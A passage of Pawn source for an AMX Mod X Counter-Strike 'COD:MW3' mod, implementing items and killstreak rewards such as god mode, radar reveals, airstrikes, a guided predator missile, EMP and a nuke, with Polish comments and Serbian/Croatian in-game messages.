  4053.  
  4054. new owner = pev(ent, pev_owner)
  4055. new num = 0, bool:found = false
  4056.  
  4057. while(num <= 100)
  4058. {
  4059. if(is_hull_vacant(origin))
  4060. {
  4061. g_body_origin[owner][0] = origin[0]
  4062. g_body_origin[owner][1] = origin[1]
  4063. g_body_origin[owner][2] = origin[2]
  4064.  
  4065. found = true
  4066. break
  4067. }
  4068. else
  4069. {
  4070. origin[0] += random_float(-radius, radius)
  4071. origin[1] += random_float(-radius, radius)
  4072. origin[2] += random_float(-radius, radius)
  4073.  
  4074. num++
  4075. }
  4076. }
  4077. return found
  4078. }
  4079.  
  4080. stock bool:is_hull_vacant(const Float:origin[3])
  4081. {
  4082. new tr = 0
  4083. engfunc(EngFunc_TraceHull, origin, origin, 0, HULL_HUMAN, 0, tr)
  4084. if(!get_tr2(tr, TR_StartSolid) && !get_tr2(tr, TR_AllSolid) && get_tr2(tr, TR_InOpen))
  4085. return true
  4086.  
  4087. return false
  4088. }
  4089. public godon(id)
  4090. {
  4091. set_user_godmode(id, 1) // Tutaj mo¿emy np, daæ coœ co bêdzie uruchomione w trakcie odliczania ja da³em GodMode
  4092.  
  4093. Odliczanie[id] = 4 // nasza zmienna + czas ile ma odliczaæ do zera w tym przypadku 4 sekundy
  4094.  
  4095. if(task_exists(id + 3431))
  4096. {
  4097. remove_task(id + 3431)
  4098. }
  4099. set_task(1.0, "godoff", id + 3431, _, _, "b")
  4100.  
  4101. return PLUGIN_CONTINUE
  4102. }
  4103. public godoff(task_id)
  4104. {
  4105. new id = task_id - 3431
  4106.  
  4107. set_hudmessage(0, 255, 0, 0.03, 0.76, 2, 0.02, 1.0, 0.01)
  4108. show_hudmessage(id, "Za %d sekundi gubite besmrtnost.", Odliczanie[id]) //WiadomoϾ pokazana w HUD'zie
  4109.  
  4110. Odliczanie[id] -= 1
  4111.  
  4112. if(Odliczanie[id] <= 0)
  4113. {
  4114. if(task_exists(task_id))
  4115. {
  4116. remove_task(task_id)
  4117. }
  4118. set_user_godmode(id, 0); // tutaj wy³¹cza goodmoda
  4119. }
  4120. }
  4121. public clipon(id)
  4122. {
  4123. set_user_noclip(id, 1) // Tutaj mo¿emy np, daæ coœ co bêdzie uruchomione w trakcie odliczania ja da³em noclip
  4124.  
  4125. Odliczanie[id] = 9 // nasza zmienna + czas ile ma odliczaæ do zera w tym przypadku 9sekund
  4126.  
  4127. if(task_exists(id + 3431))
  4128. {
  4129. remove_task(id + 3431)
  4130. }
  4131. set_task(1.0, "clipoff", id + 3431, _, _, "b")
  4132.  
  4133. return PLUGIN_CONTINUE
  4134. }
  4135. public clipoff(task_id)
  4136. {
  4137. new id = task_id - 3431
  4138.  
  4139. set_hudmessage(0, 255, 0, 0.03, 0.76, 2, 0.02, 1.0, 0.01)
  4140. show_hudmessage(id, "Za %d sekundi gubite nevidljivost", Odliczanie[id]) //WiadomoϾ pokazana w HUD'zie
  4141.  
  4142. Odliczanie[id] -= 1
  4143.  
  4144. if(Odliczanie[id] <= 0)
  4145. {
  4146. if(task_exists(task_id))
  4147. {
  4148. remove_task(task_id)
  4149. }
  4150. set_user_noclip(id, 0); // tutaj wy³¹cza noclipa
  4151. }
  4152. }
  4153.  
  4154. public client_PreThink(id) {
  4155. if (entity_get_int(id, EV_INT_button) & 2 && informacje_przedmiotu_gracza[id][0] == 44) {
  4156. new flags = entity_get_int(id, EV_INT_flags)
  4157.  
  4158. if (flags & FL_WATERJUMP)
  4159. return PLUGIN_CONTINUE
  4160. if ( entity_get_int(id, EV_INT_waterlevel) >= 2 )
  4161. return PLUGIN_CONTINUE
  4162. if ( !(flags & FL_ONGROUND) )
  4163. return PLUGIN_CONTINUE
  4164.  
  4165. new Float:velocity[3]
  4166. entity_get_vector(id, EV_VEC_velocity, velocity)
  4167. velocity[2] += 250.0
  4168. entity_set_vector(id, EV_VEC_velocity, velocity)
  4169.  
  4170. entity_set_int(id, EV_INT_gaitsequence, 6)
  4171. }
  4172. return PLUGIN_CONTINUE
  4173. }
  4174.  
  4175. public fw_traceline(Float:vecStart[3],Float:vecEnd[3],ignoreM,id,trace)
  4176. {
  4177. if(!is_user_connected(id))
  4178. return;
  4179.  
  4180. new hit = get_tr2(trace, TR_pHit);
  4181.  
  4182. if(!is_user_connected(hit))
  4183. return;
  4184.  
  4185. new hitzone = get_tr2(trace, TR_iHitgroup);
  4186. if((informacje_przedmiotu_gracza[hit][0] == 65 && hitzone == HIT_HEAD) || informacje_przedmiotu_gracza[hit][0] == 66 && hitzone != HIT_HEAD)
  4187. set_tr2(trace, TR_iHitgroup, 8);
  4188.  
  4189. if(informacje_przedmiotu_gracza[id][0] == 69 && !random(10) && get_user_weapon(id) == CSW_AWP)
  4190. set_tr2(trace, TR_iHitgroup, HIT_HEAD);
  4191. }
  4192.  
  4193. public WygranaTerro()
  4194. WygranaRunda("TERRORIST");
  4195.  
  4196. public WygranaCT()
  4197. WygranaRunda("CT");
  4198.  
  4199. public WygranaRunda(const Team[])
  4200. {
  4201. new Players[32], playerCount, id;
  4202. get_players(Players, playerCount, "aeh", Team);
  4203.  
  4204. if(get_playersnum() < 3)
  4205. return;
  4206.  
  4207. for (new i=0; i<playerCount; i++)
  4208. {
  4209. id = Players[i];
  4210. if(!klasa_gracza[id] && !is_user_connected(id))
  4211. continue;
  4212.  
  4213. doswiadczenie_gracza[id] += doswiadczenie_za_wygrana;
  4214. ColorChat(id, RED, "[COD:MW3] ^x01 Dobio si %i iskustvo za pobedjenu rundu.", doswiadczenie_za_wygrana);
  4215. SprawdzPoziom(id);
  4216. }
  4217. }
  4218.  
  4219. public OddajPrzedmiot(id)
  4220. {
  4221. new menu = menu_create("Oddaj przedmiot", "OddajPrzedmiot_Handle");
  4222. new cb = menu_makecallback("OddajPrzedmiot_Callback");
  4223. new numer_przedmiotu;
  4224. for(new i=0; i<=32; i++)
  4225. {
  4226. if(!is_user_connected(i))
  4227. continue;
  4228. oddaj_id[numer_przedmiotu++] = i;
  4229. menu_additem(menu, nazwa_gracza[i], "0", 0, cb);
  4230. }
  4231. menu_display(id, menu);
  4232. }
  4233.  
  4234. public OddajPrzedmiot_Handle(id, menu, item)
  4235. {
  4236. if(item < 1 || item > 32) return PLUGIN_CONTINUE;
  4237.  
  4238. if(!is_user_connected(oddaj_id[item]))
  4239. {
  4240. client_print(id, print_chat, "Igrac nije pronadjen.");
  4241. return PLUGIN_CONTINUE;
  4242. }
  4243. if(dostal_przedmiot[id])
  4244. {
  4245. client_print(id, print_chat, "Morate sacekati sledecu rundu");
  4246. return PLUGIN_CONTINUE;
  4247. }
  4248. if(!informacje_przedmiotu_gracza[id][0])
  4249. {
  4250. client_print(id, print_chat, "Nemate nijedan predmet.");
  4251. return PLUGIN_CONTINUE;
  4252. }
  4253. if(informacje_przedmiotu_gracza[oddaj_id[item]][0])
  4254. {
  4255. client_print(id, print_chat, "Ovaj igrac vec ima predmet.");
  4256. return PLUGIN_CONTINUE;
  4257. }
  4258. dostal_przedmiot[oddaj_id[item]] = true;
  4259. DajPrzedmiot(oddaj_id[item], informacje_przedmiotu_gracza[id][0]);
  4260. informacje_przedmiotu_gracza[oddaj_id[item]][1] = informacje_przedmiotu_gracza[id][1];
  4261. client_print(id, print_chat, "Nagradio %s Igraca %s.",nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]] , nazwa_gracza[oddaj_id[item]]);
  4262. client_print(oddaj_id[item], print_chat, "Dobio %s od igraca %s.",nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]] , nazwa_gracza[id]);
  4263. UsunPrzedmiot(id);
  4264. return PLUGIN_CONTINUE;
  4265. }
  4266.  
  4267. public OddajPrzedmiot_Callback(id, menu, item)
  4268. {
  4269. if(oddaj_id[item] == id)
  4270. return ITEM_DISABLED;
  4271. return ITEM_ENABLED;
  4272. }
  4273.  
  4274. public SprzedajPrzedmiot(id)
  4275. {
  4276. if(!informacje_przedmiotu_gracza[id][0])
  4277. {
  4278. client_print(id, print_chat, "Nie masz przedmiotu!");
  4279. return;
  4280. }
  4281.  
  4282. UsunPrzedmiot(id);
  4283. cs_set_user_money(id, cs_get_user_money(id)+2500);
  4284. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 255);
  4285. }
  4286.  
  4287. public MagnetThink(ent)
  4288. {
  4289. if(entity_get_int(ent, EV_INT_iuser2))
  4290. return PLUGIN_CONTINUE;
  4291.  
  4292. if(!entity_get_int(ent, EV_INT_iuser1))
  4293. emit_sound(ent, CHAN_VOICE, "weapons/mine_activate.wav", 0.5, ATTN_NORM, 0, PITCH_NORM );
  4294.  
  4295. entity_set_int(ent, EV_INT_iuser1, 1);
  4296.  
  4297. new id = entity_get_edict(ent, EV_ENT_owner);
  4298. new dist = get_pcvar_num(pcvar_zasieg)+inteligencja_gracza[id];
  4299.  
  4300. new Float:forigin[3];
  4301. entity_get_vector(ent, EV_VEC_origin, forigin);
  4302.  
  4303. new entlist[33];
  4304. new numfound = find_sphere_class(0,"player", float(dist),entlist, 32,forigin);
  4305.  
  4306. for (new i=0; i < numfound; i++)
  4307. {
  4308. new pid = entlist[i];
  4309.  
  4310. if (get_user_team(pid) == get_user_team(id))
  4311. continue;
  4312.  
  4313. if (is_user_alive(pid))
  4314. {
  4315. new bronie_gracza = entity_get_int(pid, EV_INT_weapons);
  4316. for(new n=1; n <= 32;n++)
  4317. {
  4318. if(1<<n & bronie_gracza)
  4319. {
  4320. new weaponname[33];
  4321. get_weaponname(n, weaponname, 32);
  4322. engclient_cmd(pid, "drop", weaponname);
  4323. }
  4324. }
  4325. }
  4326. }
  4327.  
  4328. numfound = find_sphere_class(0,"weaponbox", float(dist)+100.0,entlist, 32,forigin);
  4329.  
  4330. for (new i=0; i < numfound; i++)
  4331. if(get_entity_distance(ent, entlist[i]) > 50.0)
  4332. set_velocity_to_origin(entlist[i], forigin, 999.0);
  4333.  
  4334. if (entity_get_float(ent, EV_FL_ltime) < halflife_time() || !is_user_alive(id))
  4335. {
  4336. entity_set_int(ent, EV_INT_iuser2, 1);
  4337. return PLUGIN_CONTINUE;
  4338. }
  4339.  
  4340. new iOrigin[3];
  4341. FVecIVec(forigin, iOrigin);
  4342.  
  4343. message_begin( MSG_BROADCAST, SVC_TEMPENTITY, iOrigin );
  4344. write_byte( TE_BEAMCYLINDER );
  4345. write_coord( iOrigin[0] );
  4346. write_coord( iOrigin[1] );
  4347. write_coord( iOrigin[2] );
  4348. write_coord( iOrigin[0] );
  4349. write_coord( iOrigin[1] + dist );
  4350. write_coord( iOrigin[2] + dist );
  4351. write_short( sprite_white );
  4352. write_byte( 0 ); // startframe
  4353. write_byte( 0 ); // framerate
  4354. write_byte( 10 ); // life
  4355. write_byte( 10 ); // width
  4356. write_byte( 255 ); // noise
  4357. write_byte( 0 ); // r, g, b
  4358. write_byte( 100 );// r, g, b
  4359. write_byte( 255 ); // r, g, b
  4360. write_byte( get_pcvar_num(pcvar_widocznosc_fali) ); // brightness
  4361. write_byte( 0 ); // speed
  4362. message_end();
  4363.  
  4364. entity_set_float(ent, EV_FL_nextthink, halflife_time() + 0.01);
  4365.  
  4366. return PLUGIN_CONTINUE;
  4367. }
  4368.  
  4369. public ResetHUD(id)
  4370. {
  4371. if(!is_user_connected(id))
  4372. return PLUGIN_HANDLED;
  4373. client_disconnect_magnet(id);
  4374. pozostale_elektromagnesy[id] = get_pcvar_num(pcvar_ilosc_elektromagnesow);
  4375. return PLUGIN_HANDLED
  4376. }
  4377.  
  4378. public client_disconnect_magnet(id)
  4379. {
  4380. new ent = find_ent_by_class(0, "magnet");
  4381. while(ent > 0)
  4382. {
  4383. if(entity_get_edict(id, EV_ENT_owner) == id)
  4384. remove_entity(ent);
  4385. ent = find_ent_by_class(ent, "magnet");
  4386. }
  4387. }
  4388.  
  4389. public NowaRunda_magnet()
  4390. {
  4391. new ent = find_ent_by_class(-1, "magnet");
  4392. while(ent > 0)
  4393. {
  4394. remove_entity(ent);
  4395. ent = find_ent_by_class(ent, "magnet");
  4396. }
  4397. }
  4398.  
  4399. stock get_velocity_to_origin( ent, Float:fOrigin[3], Float:fSpeed, Float:fVelocity[3] )
  4400. {
  4401. new Float:fEntOrigin[3];
  4402. entity_get_vector( ent, EV_VEC_origin, fEntOrigin );
  4403.  
  4404. // Velocity = Distance / Time
  4405.  
  4406. new Float:fDistance[3];
  4407. fDistance[0] = fEntOrigin[0] - fOrigin[0];
  4408. fDistance[1] = fEntOrigin[1] - fOrigin[1];
  4409. fDistance[2] = fEntOrigin[2] - fOrigin[2];
  4410.  
  4411. new Float:fTime = -( vector_distance( fEntOrigin,fOrigin ) / fSpeed );
  4412.  
  4413. fVelocity[0] = fDistance[0] / fTime;
  4414. fVelocity[1] = fDistance[1] / fTime;
  4415. fVelocity[2] = fDistance[2] / fTime + 50.0;
  4416.  
  4417. return ( fVelocity[0] && fVelocity[1] && fVelocity[2] );
  4418. }
  4419.  
  4420. stock set_velocity_to_origin( ent, Float:fOrigin[3], Float:fSpeed )
  4421. {
  4422. new Float:fVelocity[3];
  4423. get_velocity_to_origin( ent, fOrigin, fSpeed, fVelocity )
  4424.  
  4425. entity_set_vector( ent, EV_VEC_velocity, fVelocity );
  4426.  
  4427. return ( 1 );
  4428. }
  4429.  
  4430. public radar_scan(id)
  4431. {
  4432. if(!is_user_connected(id))
  4433. return PLUGIN_HANDLED;
  4434.  
  4435. new PlayerCoords[3];
  4436.  
  4437. for (new id=1; id<=32; id++)
  4438. {
  4439. if(!is_user_alive(id) || !is_user_connected(id) || informacje_przedmiotu_gracza[id][0] != 86)
  4440. continue;
  4441.  
  4442. for (new i=1;i<=32;i++)
  4443. {
  4444. if(!is_user_alive(i) || get_user_team(i) == get_user_team(id))
  4445.  
  4446. get_user_origin(i, PlayerCoords)
  4447.  
  4448. message_begin(MSG_ONE_UNRELIABLE, g_msgHostageAdd, {0,0,0}, id)
  4449. write_byte(id)
  4450. write_byte(i)
  4451. write_coord(PlayerCoords[0])
  4452. write_coord(PlayerCoords[1])
  4453. write_coord(PlayerCoords[2])
  4454. message_end()
  4455.  
  4456. message_begin(MSG_ONE_UNRELIABLE, g_msgHostageDel, {0,0,0}, id)
  4457. write_byte(i)
  4458. message_end()
  4459. }
  4460. }
  4461. return PLUGIN_HANDLED;
  4462. }
  4463.  
  4464. public SmiercGracza(id, attacker, shouldgib)
  4465. {
  4466. if(is_user_alive(attacker) && is_user_connected(attacker))
  4467. {
  4468. if(get_user_team(attacker) != get_user_team(id))
  4469. {
  4470. new name[32]
  4471. licznik_zabic[attacker]++;
  4472. get_user_name(attacker,name,31);
  4473. if(licznik_zabic[attacker] > 0)
  4474. {
  4475. set_hudmessage(255, 255, 255, -1.0, 0.33, 0, 5.0, 5.0);
  4476. switch(licznik_zabic[attacker])
  4477. {
  4478. case 4:
  4479. {
  4480. switch(random_num(0,1))
  4481. {
  4482. case 0:{
  4483. pack[attacker] = true;
  4484. //show_hudmessage(0, "%s dostal Care Package za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
  4485. client_print(attacker, print_chat, "[KillStrike] Wskarz mesto gde ocekujete da ce pasti kutija i pritisnite X");
  4486. }
  4487. case 1:{
  4488. uav[attacker] = true;
  4489. //show_hudmessage(0, "%s dostal Counter-UAV za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
  4490. client_print(attacker, print_chat, "[KillStrike] Pritisnite X da onemogucite radar neprijatelja");
  4491. client_cmd(attacker, "spk sound/mw/counter_enemy.wav")
  4492. }
  4493. }
  4494. }
  4495. case 6:
  4496. {
  4497. switch(random_num(0,1))
  4498. {
  4499. case 0:{
  4500. predator[attacker]++;
  4501. //show_hudmessage(0, "%s dostal PREDATORA za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
  4502. client_print(attacker, print_chat, "[KillStrike] Pritisnite X da ubrzate grabljivca");
  4503. client_cmd(attacker, "spk sound/mw/predator_give.wav")
  4504. }
  4505. case 1:{
  4506. nalot[attacker]++;
  4507. //show_hudmessage(0, "%s dostal NALOT za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
  4508. client_print(attacker, print_chat, "[KillStrike] Wskarz miejsce mesto i pritisnite X");
  4509. client_cmd(attacker, "spk sound/mw/air_give.wav")
  4510. }
  4511. }
  4512. }
  4513. case 12:
  4514. {
  4515. emp[attacker] = true;
  4516. //show_hudmessage(0, "%s dostal EMP za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
  4517. client_print(attacker, print_chat, "[KillStrike] Pritisni X, da koristite EMP");
  4518. client_cmd(attacker, "spk sound/mw/emp_give.wav")
  4519. }
  4520. case 14:
  4521. {
  4522. nuke[attacker] = true;
  4523. show_hudmessage(0, "%s dostal NUKE! za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
  4524. client_print(attacker, print_chat, "[KillStrike] Pritisni X za upotrebu atomske bombe");
  4525. client_cmd(attacker, "spk sound/mw/nuke_give.wav")
  4526. licznik_zabic[attacker] = false;
  4527. }
  4528. case 15:
  4529. {
  4530. radar[attacker] = true;
  4531. cod_set_user_xp(id, cod_get_user_xp(id)+50);
  4532. //client_cmd(attacker, "drawradar")
  4533. show_hudmessage(0, "%s dostal UAV za KILLSTRIKE x %i !", name, licznik_zabic[attacker]);
  4534. client_print(attacker, print_chat, "[KillStrike] Crvene tacke na radaru je sve sto rade protivnici");
  4535. client_cmd(attacker, "spk sound/mw/uav_give.wav")
  4536. }
  4537. }
  4538. }
  4539. }
  4540. }
  4541. if(!is_user_alive(id))
  4542. {
  4543. licznik_zabic[id] = 0;
  4544. user_controll[id] = 0
  4545. }
  4546. }
  4547.  
  4548. public uzyj_nagrody(id)
  4549. {
  4550. if(!is_user_alive(id) || emp_czasowe)
  4551. return PLUGIN_HANDLED;
  4552.  
  4553. if(pack[id] > 0 && !nuke[id] && !predator[id] && !emp[id] && !nalot[id] && !uav[id]/* && !sentry[id]*/)
  4554. CreatePack(id)
  4555.  
  4556. if(uav[id] > 0 && !nuke[id] && !predator[id] && !emp[id] && !nalot[id]/* && !sentry[id]*/)
  4557. CreateUVA(id)
  4558.  
  4559. if(nalot[id] > 0 && !nuke[id] && !predator[id] && !emp[id])
  4560. CreateNalot(id)
  4561.  
  4562. if(predator[id] > 0 && !nuke[id] && !emp[id])
  4563. CreatePredator(id)
  4564.  
  4565. if(emp[id] > 0 && !nuke[id])
  4566. CreateEmp(id)
  4567.  
  4568. if(nuke[id] > 0)
  4569. CreateNuke(id)
  4570.  
  4571. return PLUGIN_HANDLED;
  4572. }
  4573. //radar
  4574. public radar_scan2(id)
  4575. {
  4576. if(!is_user_connected(id))
  4577. return PLUGIN_HANDLED;
  4578.  
  4579. new PlayerCoords[3];
  4580.  
  4581. for (new id=1; id<=32; id++)
  4582. {
  4583. if(!is_user_alive(id) || !is_user_connected(id) || !radar[id] || emp_czasowe)
  4584. continue;
  4585.  
  4586. for (new i=1;i<=32;i++)
  4587. {
  4588. if(!is_user_alive(i) || get_user_team(i) == get_user_team(id))
  4589. continue;
  4590.  
  4591. get_user_origin(i, PlayerCoords)
  4592.  
  4593. message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("HostagePos"), {0,0,0}, id)
  4594. write_byte(id)
  4595. write_byte(i)
  4596. write_coord(PlayerCoords[0])
  4597. write_coord(PlayerCoords[1])
  4598. write_coord(PlayerCoords[2])
  4599. message_end()
  4600.  
  4601. message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("HostageK"), {0,0,0}, id)
  4602. write_byte(i)
  4603. message_end()
  4604. }
  4605. }
  4606. return PLUGIN_HANDLED;
  4607. }
  4608. //dotyk enta
  4609. public fw_Touch(ent, id)
  4610. {
  4611. if (!pev_valid(ent))
  4612. return FMRES_IGNORED
  4613.  
  4614. new ClassName[32]
  4615. pev(ent, pev_classname, ClassName, charsmax(ClassName))
  4616.  
  4617. if(equal(ClassName, "Bomb"))
  4618. {
  4619. bombs_explode(ent, 100.0, 150.0)
  4620. set_pev(ent, pev_flags, FL_KILLME)
  4621. return FMRES_IGNORED
  4622. }
  4623. if(equal(ClassName, "Predator"))
  4624. {
  4625. new owner = pev(ent, pev_owner)
  4626. bombs_explode(ent, 220.0, 400.0)
  4627. attach_view(owner, owner)
  4628. user_controll[owner] = 0
  4629. set_pev(ent, pev_flags, FL_KILLME)
  4630. return FMRES_IGNORED
  4631. }
  4632. return FMRES_IGNORED
  4633. }
  4634. //airpack
  4635. public CreatePack(id)
  4636. {
  4637. cod_set_user_xp(id, cod_get_user_xp(id)+100);
  4638. CreatePlane(id)
  4639. pack[id] = false
  4640. set_task(1.0, "airpack", id+742)
  4641. set_task(6.0, "usun_ent")
  4642. }
  4643.  
  4644. public airpack(taskid)
  4645. {
  4646. new id = (taskid - 742)
  4647. new Origin[3];
  4648. get_user_origin(id, Origin, 3);
  4649.  
  4650. Origin[2] += 150;
  4651.  
  4652. new Float:LocVecs[3];
  4653. IVecFVec(Origin, LocVecs);
  4654.  
  4655. new g_pack = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "info_target"))
  4656. create_ent(id, g_pack, "Pack", "models/cod_carepackage.mdl", 1, 6, LocVecs)
  4657. }
  4658.  
  4659. public pack_touch(ent, id)
  4660. {
  4661. if (!pev_valid(ent))
  4662. return FMRES_IGNORED
  4663.  
  4664. new ClassName[32]
  4665. pev(ent, pev_classname, ClassName, charsmax(ClassName))
  4666.  
  4667. if(equal(ClassName, "Pack"))
  4668. {
  4669. new weapons[32];
  4670. new weaponsnum;
  4671. get_user_weapons(id, weapons, weaponsnum);
  4672. for(new i=0; i<weaponsnum; i++)
  4673. if(maxAmmo[weapons[i]] > 0)
  4674. set_pdata_int(id, CSW_to_offset[weapons[i]], maxAmmo[weapons[i]], 5);
  4675.  
  4676. set_pev(ent, pev_flags, FL_KILLME)
  4677. return FMRES_IGNORED
  4678. }
  4679. return FMRES_IGNORED
  4680. }
  4681.  
  4682. //counter-uva
  4683. public CreateUVA(id)
  4684. {
  4685. cod_set_user_xp(id, cod_get_user_xp(id)+100);
  4686. uav[id] = false
  4687. new num, players[32]
  4688. get_players(players, num, "cgh")
  4689. for(new a = 0; a < num; a++)
  4690. {
  4691. new i = players[a]
  4692. if(players[a] != id){
  4693. if(get_user_team(id)!=get_user_team(i))
  4694. {
  4695. radar[i] = false;
  4696. break;
  4697. }
  4698. }
  4699. }
  4700. }
  4701. //emp
  4702. public CreateEmp(id)
  4703. {
  4704. cod_set_user_xp(id, cod_get_user_xp(id)+200);
  4705. client_cmd(0, "spk sound/mw/emp_effect.wav")
  4706. emp[id] = false;
  4707. new num, players[32]
  4708. get_players(players, num, "cgh")
  4709. for(new a = 0; a < num; a++)
  4710. {
  4711. new i = players[a]
  4712. if(is_user_connected(i) || is_user_alive(i))
  4713. {
  4714. Display_Fade(i,4<<12,4<<12,1<<16,255,212,212,166)
  4715. }
  4716. //client_cmd(i, "hideradar")
  4717. }
  4718. emp_czasowe = true;
  4719. set_task(90.0,"usun_emp", 932)
  4720. }
  4721.  
  4722. public usun_emp()
  4723. {
  4724. emp_czasowe = false;
  4725. }
  4726. //nuke
  4727. public CreateNuke(id)
  4728. {
  4729. cod_set_user_xp(id, cod_get_user_xp(id)+250);
  4730. client_cmd(0, "spk sound/mw/nuke_enemy1.wav")
  4731.  
  4732. new num, players[32]
  4733. get_players(players, num, "cgh")
  4734. for(new a = 0; a < num; a++)
  4735. {
  4736. new i = players[a]
  4737. if(is_user_alive(i))
  4738. {
  4739. Display_Fade(i,8<<12,8<<12,1<<16,197,253,191,200)
  4740. set_task(4.0,"trzesienie", 0)
  4741. }
  4742. }
  4743. set_task(8.0,"usun", id)
  4744. nuke[id] = false;
  4745. }
  4746.  
  4747. public trzesienie()
  4748. {
  4749. new num, players[32]
  4750. get_players(players, num, "cgh")
  4751. for(new a = 0; a < num; a++)
  4752. {
  4753. new i = players[a]
  4754. if(is_user_connected(i) || is_user_alive(i))
  4755. {
  4756. message_begin(MSG_ONE, get_user_msgid("ScreenShake"), {0,0,0}, i)
  4757. write_short(255<<12)
  4758. write_short(8<<12)
  4759. write_short(255<<12)
  4760. message_end()
  4761. }
  4762. }
  4763. }
  4764. public usun(id)
  4765. {
  4766. if(!is_user_connected(id))
  4767. return PLUGIN_HANDLED;
  4768.  
  4769. new num, players[32]
  4770. get_players(players, num, "cgh")
  4771. for(new a = 0; a < num; a++)
  4772. {
  4773. new i = players[a]
  4774. if(is_user_alive(i))
  4775. {
  4776. user_silentkill(i)
  4777. if(get_user_team(id) != get_user_team(i))
  4778. {
  4779. set_user_frags(id, get_user_frags(id)+1);
  4780. cod_set_user_xp(id, cod_get_user_xp(id)+50);
  4781. }
  4782. }
  4783. }
  4784. return PLUGIN_HANDLED;
  4785. }
  4786. //nalot
  4787. public CreateNalot(id)
  4788. {
  4789. cod_set_user_xp(id, cod_get_user_xp(id)+150);
  4790. CreatePlane(id)
  4791. set_task(1.0, "CreateBombs", id+997, _, _, "a", 3)
  4792. set_task(6.0, "usun_ent")
  4793. nalot[id]--;
  4794. }
  4795.  
  4796. public usun_ent()
  4797. remove_entity_name("Samolot");
  4798.  
  4799. public CreateBombs(taskid)
  4800. {
  4801. new id = (taskid-997)
  4802.  
  4803. new g_bomby[15], radlocation[3], randomx, randomy;
  4804.  
  4805. PobraneOrigin[2] += 50;
  4806.  
  4807. for(new i=0; i<15; i++)
  4808. {
  4809. randomx = random_num(-150,150);
  4810. randomy = random_num(-150,150);
  4811.  
  4812. radlocation[0] = PobraneOrigin[0]+1*randomx;
  4813. radlocation[1] = PobraneOrigin[1]+1*randomy;
  4814. radlocation[2] = PobraneOrigin[2];
  4815.  
  4816. new Float:LocVec[3];
  4817. IVecFVec(radlocation, LocVec);
  4818.  
  4819. g_bomby[i] = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "info_target"))
  4820. create_ent(id, g_bomby[i], "Bomb", "models/p_hegrenade.mdl", 2, 10, LocVec)
  4821. }
  4822. }
  4823.  
  4824. public CreatePlane(id){
  4825. new Float:Origin[3],Float: Angle[3], Float: Velocity[3];
  4826.  
  4827. get_user_origin(id, PobraneOrigin, 3);
  4828.  
  4829. velocity_by_aim(id, 1200, Velocity)
  4830. pev(id, pev_origin, Origin)
  4831. pev(id, pev_v_angle, Angle)
  4832.  
  4833. Origin[2] += 250;
  4834. Angle[0] = 0.0;
  4835. Velocity[2] = Origin[2]
  4836.  
  4837. new g_samolot = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "info_target"))
  4838. create_ent(id, g_samolot, "Samolot", "models/cod_plane.mdl", 2, 8, Origin)
  4839.  
  4840. set_pev(g_samolot, pev_velocity, Velocity)
  4841. set_pev(g_samolot, pev_angles, Angle)
  4842.  
  4843. emit_sound(g_samolot, CHAN_ITEM, "mw/jet_fly1.wav", 1.0, ATTN_NORM, 0, PITCH_NORM);
  4844. }
  4845.  
  4846. //predator
  4847. public CreatePredator(id){
  4848. cod_set_user_xp(id, cod_get_user_xp(id)+150);
  4849. new Float:Origin[3], Float:Angle[3], Float:Velocity[3]
  4850.  
  4851. velocity_by_aim(id, 700, Velocity)
  4852. pev(id, pev_origin, Origin)
  4853. pev(id, pev_v_angle, Angle)
  4854.  
  4855. Angle[0] *= -1.0
  4856.  
  4857. new g_predator = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "info_target"))
  4858. create_ent(id, g_predator, "Predator", "models/cod_predator.mdl", 2, 5, Origin)
  4859.  
  4860. set_pev(g_predator, pev_velocity, Velocity)
  4861. set_pev(g_predator, pev_angles, Angle)
  4862.  
  4863. message_begin( MSG_BROADCAST, SVC_TEMPENTITY)
  4864. write_byte(TE_BEAMFOLLOW)
  4865. write_short(g_predator)
  4866. write_short(cache_trail)
  4867. write_byte(10)
  4868. write_byte(5)
  4869. write_byte(205)
  4870. write_byte(237)
  4871. write_byte(163)
  4872. write_byte(200)
  4873. message_end()
  4874.  
  4875. predator[id] = false;
  4876.  
  4877. set_pev(g_predator, pev_rendermode, 1)
  4878. attach_view(id, g_predator)
  4879. user_controll[id] = g_predator
  4880. }
  4881.  
  4882. public player_predator(id)
  4883. {
  4884. if(!is_user_connected(id))
  4885. return PLUGIN_HANDLED;
  4886.  
  4887. if (user_controll[id] > 0)
  4888. {
  4889. new ent = user_controll[id]
  4890. if (pev_valid(ent))
  4891. {
  4892. new Float:Velocity[3], Float:Angle[3]
  4893. velocity_by_aim(id, 500, Velocity)
  4894. pev(id, pev_v_angle, Angle)
  4895.  
  4896. set_pev(ent, pev_velocity, Velocity)
  4897. set_pev(ent, pev_angles, Angle)
  4898. }
  4899. else
  4900. {
  4901. attach_view(id, id)
  4902. }
  4903. }
  4904. return PLUGIN_HANDLED;
  4905. }
  4906.  
  4907. public bombs_explode(ent, Float:zadaje, Float:promien)
  4908. {
  4909. if (!pev_valid(ent))
  4910. return;
  4911.  
  4912. new attacker = pev(ent, pev_owner)
  4913. new Float:entOrigin[3], Float:fDistance, Float:fDamage, Float:vOrigin[3]
  4914. pev(ent, pev_origin, entOrigin)
  4915. entOrigin[2] += 1.0
  4916.  
  4917. new victim = -1
  4918. while ((victim = engfunc(EngFunc_FindEntityInSphere, victim, entOrigin, promien)) != 0)
  4919. {
  4920. if (attacker==victim || !pev_valid(victim)) continue;
  4921.  
  4922. pev(victim, pev_origin, vOrigin)
  4923. fDistance = get_distance_f(vOrigin, entOrigin)
  4924. fDamage = zadaje - floatmul(zadaje, floatdiv(fDistance, promien))
  4925. fDamage *= estimate_take_hurt(entOrigin, victim, 0)
  4926.  
  4927. if(fDamage>0.0)
  4928. {
  4929. if(get_user_team(attacker)!=get_user_team(victim))
